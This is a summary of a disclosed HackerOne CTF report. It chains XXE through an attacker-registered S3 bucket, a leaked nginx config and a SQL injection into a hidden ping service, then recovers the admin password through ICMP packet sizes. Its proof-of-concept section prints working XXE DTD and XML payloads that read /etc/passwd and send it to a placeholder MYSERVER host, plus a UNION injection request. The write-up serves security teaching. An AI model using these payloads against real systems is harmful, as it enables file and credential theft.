# H1CTF ccc: XXE to SQLi via ICMP exfiltration

XXE via attacker-controlled S3 files.xml leaked nginx config revealing hidden pinger service with SQLi; ICMP packet-size side channel exfiltrated admin password.

- Payout: $100
- Severity: critical
- Program: h1-ctf
- Found by: shamollash
- Disclosed: 2021-06-23
- Write-up quality: 8/10
- Original: https://hackerone.com/reports/1216085
- Library page: https://bugbountylibrary.com/r/h1%3A1216085
- Tags: area:web domain:web impact:ato impact:data-leak kind:bounty platform:hackerone sev:critical tech:aws tech:nginx tech:php tech:s3 technique:oob-exfil technique:source-review vuln:info-disclosure vuln:sqli vuln:xxe

**Target:** PHP web app with S3 XML fetch, hidden pinger API
**Root cause:** App fetches files.xml from a predictable S3 bucket name without validating the XML, enabling XXE; the hidden pinger service concatenates user id into SQL and reflects query results into ping packet size.
**Steps:**
1. Register user, note hash; visit /u/<hash> and find /error_-_-_log.txt listing h1-<hash>.s3.eu-west-2.amazonaws.com/files.xml
2. Create public S3 bucket h1-<hash> with malicious files.xml referencing external DTD
3. External DTD uses `php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd` and exfiltrates via `ftp://MYSERVER:2121/%data;` using xxeserv
4. Read nginx config, find commented-out `/2b5d2b11513d2c9b` proxy to 127.0.0.1:8888
5. Fetch `.git/config` at that path, clone github.com/ccc-labs/pinger, read Ping.php SQLi
6. Send `GET /2b5d2b11513d2c9b/api/ping?id=-1+union+all+select+1,'MYSERVER',ascii(substr(password,N,1))+from+user+where+username='admin'%23`
7. Observe ICMP echo request length to MYSERVER; length-8 = ASCII char of admin password
8. Repeat per character (rotating source IPs to avoid rate limit) to recover admin password, log in for flag
**How found:** Twitter screenshot showed /error_-_-_log.txt; log revealed predictable S3 bucket naming; one bucket contained an XXE hint payload; researcher replicated the bucket to control files.xml.
**Exploitation:** XXE reads arbitrary files via php filter; leaked nginx config exposes internal pinger service; SQLi UNION injects attacker IP and ascii(substr(password)) as packet_size, and shell_exec ping -s reflects that value as ICMP payload length to attacker-controlled host, giving blind exfiltration.
**Escalation:** XXE file read -> hidden service discovery via nginx config -> source disclosure via .git -> SQLi -> ICMP covert channel -> admin credential recovery.
**Insight:** When a target fetches config/XML from a predictable cloud bucket name, register that bucket yourself to control the input; and when SQLi output is constrained, look for any side channel (here ping packet size) that reflects injected numeric values.

## Proof of concept (copied exactly from the original report)

**SQLi to ICMP exfiltration request**

```
GET /2b5d2b11513d2c9b/api/ping?
id=-1+union+all+select+1,'MYSERVER',ascii(substr(password,N,1))+from+user+where+username='admin'%23 HTTP/1.1
```

**XXE external DTD exfiltration payload**

```
<!ENTITY % data SYSTEM "php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % param "<!ENTITY &#37; exfil SYSTEM 'ftp://MYSERVER:2121/%data;'>">
%param;
%exfil;
```

**Evil XML file for S3 bucket**

```
<?xml version="1.0" ?>
    <!DOCTYPE r [
    <!ELEMENT r ANY >
    <!ENTITY % sp SYSTEM "http://MYSERVER:8080/ev.xml">
    %sp;
    %param1;
    ]>
   <r>&exfil;</r>
```

